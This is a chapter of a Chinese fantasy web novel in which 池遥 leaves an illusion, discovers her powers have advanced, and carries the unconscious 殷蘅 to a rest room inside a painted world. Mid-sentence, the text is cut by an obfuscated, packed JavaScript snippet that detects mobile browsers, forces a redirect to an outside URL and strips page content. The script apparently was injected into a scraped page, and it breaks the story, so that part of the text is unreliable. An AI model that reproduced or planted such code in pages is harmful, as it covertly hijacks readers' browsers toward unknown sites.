脱离幻境后,手表上的时间显示也恢复了正常,来到这个被湖面占满的画中世界后,她竟然已经在幻境中度过了一整天的时间,怪不得殷蘅会驱使自己的灵魂,冒险进入她的幻境中寻找她。 在街边的露天咖啡馆里,她度过了将近三小时,最后的晚餐中,她度过了两小时,后来又与萧燃一同休息了一个小时。总共是六小时。 在无穷无尽的麦田里,她独自一人行走了六小时的路,才遇到殷蘅,和殷蘅边对话边前行,总共在麦田中停留了十小时。 到现在,他们已经进入画中世界四十小时,距离七十二小时已经过半。 奇怪,明明已经度过了四十小时,将近两天,池遥却没有感受到任何疲惫感。 在通过麦田世界时积攒的疲累感也消失得一无所踪。 不仅如此,她尝试着再次使用精神力细丝,感受却完全变了。 和萧燃一起的时候,她花费了大量精神力,此时理应无法使用精神力才对,可这一次使用精神力细丝时,却感受不到体力的消耗了。 这是什么情况? 难不成? 池遥身体一僵。 她突然回想起来了。 在幻境中,她受到幻境的影响,整个人陷入了找到曲卓的执念中,曾经耗尽了所有精神力,失去了所有意识。 不知过了多久,意识才重新拼凑起来。那个时候,她能控制的精神力细丝数量就翻倍了,她甚至能将自己的身份分解成无数细丝。 在此之前,池遥也经历过好几次能力耗尽,失去意识的过程,最后醒来时,总会迎来能力升级。 难不成,这一次,她在殷蘅眼皮底下完成了一次升级? 池遥打了个冷战。 她立刻去脑海中查看自己的能力描述。 加速治愈和精神锚点两个能力都没有发生任何变化。 【抽取生机:能够通过接触抽取其他生物的生机存储使用,但一次最多只能存五个个体的生机。注:存储时间为12小时。】 唯有抽取生机的能力描述变了,从可以连续抽取两人,变成了五人。 变化不大,但总之她的能力的确再度进阶了。 而这一次进阶,影响最大的是她的精神力。 上一次进阶时,她刚处于可以勉强操控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399255|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精神力的阶段,只一根精神力细丝就会消耗她的大量体力。而这一次进阶后,使用精神力细丝不再耗费精力了。 不仅如此,她隐约觉得,自己的精神力似乎可以不局限于细丝的形式,从一条线变为一个面,进行多种变化。 只是,眼下她还处于画中世界,不方便进行精神力的实验,只能等到通过梦之画廊之后再说。 她从船上站起身,轻松将殷蘅背起来,跳到陆地上,朝远处走去。 殷蘅的重量更轻了。 似乎和她的一本教材一样重。 池遥摇摇脑袋,驱散了心中的不安,背着殷蘅,深一脚浅一脚地从潮湿的湖岸边离开。 偌大的湖岸不止池遥和殷蘅二人,在他们前方不远处,还有两个相互搀扶着的夫妇,似乎正在湖边散步。 “抱歉。” 池遥腾不开手,主动追到了夫妇身后,开口问道。 “这位夫人,请问您知道离开的路怎么走吗?” 顺着这对夫妇指出的方向,池遥背着殷蘅,一步一步向前走去。 身后的世界逐渐崩塌。 他们终于又通过了一个画中世界。 池遥松了口气,凝视着面前世界变换的景象,心中盘算起来。 到现在为止,她已经通过了四个画中世界,积攒了八小时的休息时间,不知道殷蘅通过了几个画中世界,但想必是要比池遥更多的。 那么,他们二人的时间加在一起,足够抵消剩余的时间吗? “凌薇,我想申请十小时的休息时间。” 池遥故意叫出了高于自己现有时长的时间,这样就不会只扣除她一个人积攒的时间,会给她和殷蘅各扣除五小时,这样下来,她就能剩下三小时时间。 接收到池遥的请求,很快,新的休憩点出现在了她面前。 推开蓝色的木板门,面前是一间对两个人而言略显狭窄的小房间。 房间以蓝色调为主,墙壁是柔和的浅蓝色。进门左手边就是一张狭窄的木床,床头距离墙面隔出一些距离,低矮的衣挂上挂着几件蓝色大衣,上方悬挂着一幅风景画。 床铺左侧,正对绿色窗框处,摆放着一张小书桌,桌面上被乱七八糟的东西铺满,书桌边还有一张小椅子,而木床对面还有一张凌乱的椅子。 寥寥几样家具就填满了狭窄的房间。 房间内的小床最多只有一米宽,她和殷蘅挤一挤的话......倒是挤得下,只不过殷蘅既然处于昏迷状态,是否躺在床上休息都一样。 池遥将殷蘅扶到椅子上,简单的凳子支撑不住他高挑的身形,瘦长的身体不住下滑,池遥只能从吊坠中取出叠好的被褥,铺在床尾的地面上,又将殷蘅挪到了被褥上。 做完这一切,她在房间里四处找了一圈,最后拉开了书桌前的小抽屉。 果然,抽屉里有一沓便签纸,和几支笔。 ——休憩点:此处为休息专用的画中世界。十小时休息时间结束后,此世界会自动崩塌。如有疑问,可直接在纸上留言,我会回复。 看到便签纸上熟悉的字迹,池遥总算松了口气。 她将便签纸重新放回抽屉内,舒舒服服倒在床上,陷入梦乡。